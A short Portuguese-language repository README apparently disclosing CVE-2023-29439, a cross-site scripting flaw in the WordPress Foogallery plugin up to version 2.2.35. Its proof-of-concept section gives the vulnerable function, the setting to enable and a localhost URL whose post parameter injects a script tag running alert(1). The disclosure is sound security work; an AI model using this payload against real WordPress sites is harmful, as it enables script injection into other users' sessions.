CVE-2023-29439

Este repositório é sobre vulnerabilidade XSS no plugin Foogallery do WordPress.

Detalhes da vulnerabilidade

Descrição

No Foogallery 2.2.35 e anteriores, a função foogallery_image_editor_modal em foogallery/includes/admin/class-gallery-attachment-modal.php é vulnerável a ataque XSS.

Pré-requisito

• Não autenticado

Prova de Conceito

1. Configurações do Foogallery → Admin → Ativar Modal de Anexo Avançado
2. Enviar http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post=”><script>alert(1)</script>

Referências

CVE-2023-29439